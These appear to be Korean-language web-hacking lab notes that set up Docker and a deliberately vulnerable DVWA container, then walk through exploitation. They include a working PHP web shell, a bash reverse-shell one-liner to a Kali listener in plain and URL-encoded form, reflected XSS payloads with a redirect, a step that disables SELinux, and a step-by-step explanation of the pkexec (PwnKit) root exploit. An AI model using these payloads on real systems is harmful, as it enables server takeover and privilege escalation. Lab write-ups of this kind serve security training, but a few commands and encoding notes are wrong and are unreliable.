새 록키 리눅스9 설치
리눅스 패키지 설치
[root@docker ~]# dnf install -y vim bash-completion net-tools wget curl psmisc
[root@docker ~]# cat <<EOF > ~/.vimrc
set number " 줄 번호 표시
set ai " 자동 들여쓰기
set si " 스마트 들여쓰기
set cindent " C 스타일 들여쓰기
set shiftwidth=4 " 자동 들여쓰기 너비
set tabstop=4 " 탭 간격
set hlsearch " 검색어 하이라이트
syntax on " 문법 강조
EOF
[root@docker ~]# reboot
도커 설치
[root@docker ~]# dnf config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo
[root@docker ~]# dnf repolist
[root@docker ~]# dnf -y install docker-ce docker-ce-cli containerd.io docker-compose-plugin
[root@docker ~]# systemctl --now enable docker.service
도커 네트워크 설정
도커는 컨테이너를 생성할 때 IP주소를 고정으로 설정할 수 없다
그러기에 네트워크를 따로 생성해주고 그 네트워크에서 IP주소를 부여받는식으로 할당한다
[root@docker ~]# docker net cre --dri bri --sub 172.80.20.0/24 --gat 172.80.20.1 securitylab
[root@docker ~]# docker net rm [name]
[root@docker ~]# docker run -d --res al --net [name] --ip [ip] -p [port:port] -v [/home/] --host [host name]--name [name] [image name]
DVWA컨테이너 생성하기
Docker 네트워크명: websecurity
Docker 서브넷: 172.80.20.0/24
Docker Gateway: 172.80.20.1
Host OS Docker IP: 172.80.20.1
DVWA 컨테이너 IP: 172.80.20.2
DVWA 이미지: vulnerables/web-dvwa
DVWA 컨테이너명: dvwa
DVWA 호스트명: dvwa
컨테이너 실행 옵션: 항상 실행
외부 접속 포트: 81/tcp
컨테이너 내부 포트: 80/tcp
0.0.0.0: <= ipv4만 사용
[root@docker ~]# docker run -d --restart always --network websecurity --ip 172.80.20.2 -p 0.0.0.0:81:80 --hostname dvwa --name dvwa vulnerables/web-dvwa
파일 업로드 취약점
kali 리눅스로 DVWA 파일 업로드 취약점을 확인한다
kali 사용자의 홈디렉터리에 webshell.php 파일을 생성하나다.
kali@kali:~$ vi webshell.php
<?php
if(isset($_GET['cmd']))
system($_GET['cmd']);
?>
http://192.168.100.200:81/vulnerabilities/upload/#
생성된 webshell.php 파일을 파일 업로드 메뉴에 업로드한다.
업로드 메세지:
../../hackable/uploads/webshell.php succesfully uploaded!
http://192.168.100.200:81/hackable/uploads/webshell.php?cmd=pwd
http://192.168.100.200:81/hackable/uploads/webshell.php?cmd=id
업로드한 이후에 해야할 것을 ?cmd=을 통해 webshell.php에 전달해준다
웹 사용자의 계정명과 UID를 구하시오.
계정명: www-data
UID: 33
업로드 위치가 안 보일시 이미지를 하나 저장 후 이미주 주소 복사,보기등을 통해 디렉토리를 확인할 수 있다.
mywebsite 에서 업로드 취약점
아래 명령어로 설정을 변경한다.
# chcon -t httpd_sys_rw_content_t /var/www/html/data/
# setenforce 0
mywebsite 의 게시글을 쓸 때 업로드 취약점이 존재하므로 웹셸을 업로드한다.
http://192.168.100.10/data/webshell.php?cmd=pwd
http://192.168.100.10/data/webshell.php?cmd=id
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
mywebsite 서버로 침투하기
kali@kali:~$ nc -lvp 9000
URL창에는 인코딩으로 변경하지 않으면 제대로 인식하지 않는다.
http://192.168.100.10/data/webshell.php?cmd=[bash -c 'bash -i >& /dev/tcp/192.168.100.3/9000 0>&1']
cmd후에 인식되어야 하는 []부분을 인코딩한다
URL 인코딩으로 변경하는 문자
. 공백: %20
- Burp => [Decoder] => a b => 메뉴에서 URL 인코딩을 선택하면
%61%20%20%62
. ' : %27
. > : %32
. & : %26
- a.php?id=bbs1&test=12345
... ...
=>
http://192.168.100.10/data/webshell.php?cmd=
[%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%30%30%2e%33%2f%39%30%30%30%20%30%3e%26%31%27]
bash-4.2$ id
id
uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
bash-4.2$ pwd
pwd
/var/www/html/data
[root@victim ~]# sleep 1000 &
[1] 2220
[root@victim ~]# tty
/dev/pts/0
[root@victim ~]# ll /proc/2220/fd
[root@victim ~]# sleep 2000 >/dev/null &
[2] 2234
[root@victim ~]# ll /proc/2234/fd
[root@victim ~]# sleep 3000 >/dev/null 0>&1 &
[3] 2251
[root@victim ~]# ll /proc/2251/fd
[root@victim ~]# echo $SHLVL
1
[root@victim ~]# bash
[root@victim ~]# echo $SHLVL
2
[root@victim ~]# bash
[root@victim ~]# echo $SHLVL
3
[root@victim ~]# exit
exit
[root@victim ~]# exit
exit
[root@victim ~]# echo $SHLVL
1
[root@victim ~]# bash -c 'echo Hello'
Hello
[root@victim ~]# echo $SHLVL
flag.txt 파일을 찾아서 FLAG를 획득하는 방법
해당 취약점을 이용하여 웹쉘을 업로드한 후 웹 서버 권한으로 시스템 내부 명령어를 실행하시오.
이후 웹 서버 권한으로 접근 가능한 /etc/host 파일의 내용에서 윗줄 3줄을 확인하고 출력
bash-4.2$ head -3 cat /etc/crontab
head -3 cat /etc/crontab
head: cannot open 'cat' for reading: No such file or directory
==> /etc/crontab <==
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
Reflected XSS
검색할 아이디를 입력하세요!
xss [중복확인]을 클릭한다.
GET /useridcheck.html?useridcheck=1&userid=<script>alert("xss")</script> HTTP/1.1
Host: 192.168.100.10
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.100.10/useridcheck.html?useridcheck=1&userid=xss
Accept-Encoding: gzip, deflate, br
Accept-Language: ko,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=tpv9auuad6uu7k9cav9vp28bl5
Connection: keep-alive
취약한 URL: http://192.168.100.10/useridcheck.html?useridcheck=1&userid=xss
취약한 파라미터: userid
공격코드: <script> location.href="https://naver.com"; </script>
http://192.168.100.10/useridcheck.html?useridcheck=1&userid=<script> location.href="https://naver.com"; </script>
폴킷 취약점
리눅스에서 프로세스가 실행될 때, 커널은 해당 프로세스의 메모리 스택에 두 가지 중요한 배열을 배치힌다.
argv[]: 명령줄 인자 (예: ls -l에서 ls는 argv[0], -l은 argv[1])
envp[]: 환경 변수 (예: PATH, SHELL 등)
이 두 배열은 메모리상에서 연속적으로 위치한다.
보통 argv 배열의 끝은 NULL로 표시되며, 그 바로 뒤에 envp 배열이 시작된다.
취약점의 지점
pkexec 프로그램의 소스 코드에는 인자 개수(argc)가 1보다 작을 경우(즉, 인자가 아예 없을 경우)를 제대로 처리하지 못하는 루프가 있었다.
공격자가 argv를 빈 값({NULL})으로 전달하면 argc는 0이 된다.
하지만 pkexec는 내부 루프에서 n = 1부터 인자를 읽으려 시도한다.
argv[1]을 참조하게 되는데, argv 배열은 비어 있으므로 바로 옆에 붙어 있는 envp[0](환경 변수의 첫 번째 값)을 인자로 착각하고 읽어버린다.
공격 메커니즘 (Exploit Step)
공격은 크게 다음과 같은 단계로 진행됩니다.
단계 1: 환경 변수 조작
공격자는 실행 시 환경 변수(envp)의 첫 번째 항목에 특수한 경로를 삽입합니다. 예를 들어, GCONV_PATH=./evil과 같은 값을 넣습니다.
단계 2: pkexec 실행
인자(argv)를 비운 상태로 pkexec를 실행합니다. 앞서 설명한 설계 결함으로 인해 pkexec는 envp[0]에 들어있는 값을 마치 실행할 프로그램의 이름인 것처럼 처리하려고 합니다.
단계 3: 환경 변수 오염 (Environment Poisoning)
pkexec 내부 로직 중에 메시지를 출력하거나 경로를 찾기 위해 g_printerr() 같은 함수를 호출하게 만듭니다. 이때 pkexec는 유효하지 않은 인자를 처리하는 과정에서 사용자로부터 주입된 환경 변수를 이용해 특정한 라이브러리를 로드하려고 시도합니다.
단계 4: 공유 라이브러리 로드 (Shared Library Injection)
공격자는 미리 준비한 악성 공유 라이브러리(.so 파일)를 시스템이 불러오게 유도합니다. 이 라이브러리 안에는 setuid(0)와 /bin/sh를 실행하는 코드가 들어 있습니다.
단계 5: 루트 권한 획득
pkexec는 기본적으로 SUID 권한이 설정된 프로그램이므로, 루트(root) 권한으로 실행 중입니다. 공격자가 주입한 악성 코드가 pkexec 프로세스 내부에서 실행되면서, 공격자는 즉시 루트 셸을 얻게 됩니다.